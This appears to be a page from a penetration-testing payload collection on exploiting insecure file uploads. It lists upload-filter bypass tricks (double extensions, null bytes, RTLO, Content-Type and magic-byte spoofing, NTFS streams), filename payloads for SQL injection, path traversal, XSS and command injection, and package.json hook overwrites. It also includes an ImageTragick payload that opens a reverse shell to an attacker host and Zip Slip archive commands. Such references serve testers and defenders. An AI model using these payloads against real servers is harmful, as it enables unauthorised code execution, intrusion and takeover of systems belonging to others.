Upload Insecure Files

Uploaded files may pose a significant risk if not handled correctly. A remote attacker could send a multipart/form-data POST request with a specially-crafted filename or mime type and execute arbitrary code.


  • Tools

  • Exploits

    • Defaults extensions

    • Upload tricks

    • Filename vulnerabilities

    • Picture upload with LFI

    • Configuration Files

    • CVE - Image Tragik

    • CVE - FFMpeg

    • ZIP Archive

  • References



Defaults extensions

  • PHP Server

    # Less known PHP extensions
  • ASP Server : .asp, .aspx, .cer and .asa (IIS <= 7.5), shell.aspx;1.jpg (IIS < 7.0), shell.soap

  • JSP : .jsp, .jspx, .jsw, .jsv, .jspf

  • Perl: .pl, .pm, .cgi, .lib

  • Coldfusion: .cfm, .cfml, .cfc, .dbm

Upload tricks

  • Use double extensions : .jpg.php

  • Use reverse double extension (useful to exploit Apache misconfigurations where anything with extension .php, but not necessarily ending in .php will execute code): .php.jpg

  • Random uppercase and lowercase : .pHp, .pHP5, .PhAr

  • Null byte (works well against pathinfo())

    • .php%00.gif

    • .php\x00.gif

    • .php%00.png

    • .php\x00.png

    • .php%00.jpg

    • .php\x00.jpg

  • Special characters

    • Multiple dots : file.php...... , in Windows when a file is created with dots at the end those will be removed.

    • Whitespace characters: file.php%20, file.php%0d%0a.jpg

    • Right to Left Override (RTLO): name.%E2%80%AEphp.jpg will became name.gpj.php.

    • Slash: file.php/, file.php.\, file.j\sp, file.j/sp

    • Multiple special characters: file.jsp/././././.

  • Mime type, change Content-Type : application/x-php or Content-Type : application/octet-stream to Content-Type : image/gif

    • Content-Type : image/gif

    • Content-Type : image/png

    • Content-Type : image/jpeg

    • Set the Content-Type twice: once for unallowed type and once for allowed.

  • Magic Bytes

    • Sometimes applications identify file types based on their first signature bytes. Adding/replacing them in a file might trick the application.

      • PNG: \x89PNG\r\n\x1a\n\0\0\0\rIHDR\0\0\x03H\0\xs0\x03[

      • JPG: \xff\xd8\xff

      • GIF: GIF87a OR GIF8;

    • Shell can also be added in the metadata

  • Using NTFS alternate data stream (ADS) in Windows. In this case, a colon character ":" will be inserted after a forbidden extension and before a permitted one. As a result, an empty file with the forbidden extension will be created on the server (e.g. "file.asax:.jpg"). This file might be edited later using other techniques such as using its short filename. The "::$data" pattern can also be used to create non-empty files. Therefore, adding a dot character after this pattern might also be useful to bypass further restrictions (.e.g. "file.asp::$data.")

Filename vulnerabilities

  • Time-Based SQLi Payloads: e.g. poc.js'(select*from(select(sleep(20)))a)+'.extension

  • LFI Payloads: e.g. image.png../../../../../../../etc/passwd

  • XSS Payloads e.g. '"><img src=x onerror=alert(document.domain)>.extension

  • File Traversal e.g. ../../../tmp/lol.png

  • Command Injection e.g. ; sleep 10;

Picture upload with LFI

Valid pictures hosting PHP code. Upload the picture and use a local file inclusion to execute the code. The shell can be called with the following command : curl 'http://localhost/test.php?0=system' --data "1='ls'".

  • Picture Metadata, hide the payload inside a comment tag in the metadata.

  • Picture Resize, hide the payload within the compression algorithm in order to bypass a resize. Also defeating getimagesize() and imagecreatefromgif().

Configuration Files

If you are trying to upload files to a :

  • PHP server, take a look at the .htaccess trick to execute code.

  • ASP server, take a look at the .config trick to execute code.

Configuration files examples

  • .htaccess

  • web.config

  • httpd.conf

  • __init__.py

Alternatively you may be able to upload a JSON file with a custom scripts, try to overwrite a dependency manager configuration file.

  • package.json

    "scripts": {
        "prepare" : "/bin/touch /tmp/pwned.txt"
  • composer.json

    "scripts": {
        "pre-command-run" : [
        "/bin/touch /tmp/pwned.txt"

CVE - Image Tragik

Upload this content with an image extension to exploit the vulnerability (ImageMagick , 7.0.1-1)

push graphic-context
viewbox 0 0 640 480
fill 'url("|bash -i >& /dev/tcp/attacker-ip/attacker-port 0>&1|touch "hello)'
pop graphic-context

More payload in the folder Picture Image Magik

CVE - FFMpeg

FFmpeg HLS vulnerability

ZIP archive

When a ZIP/archive file is automatically decompressed after the upload

  • Zip Slip: directory traversal to write a file somewhere else

    python evilarc.py shell.php -o unix -f shell.zip -p var/www/html/ -d 15
    ln -s ../../../index.php symindex.txt
    zip --symlinks test.zip symindex.txt


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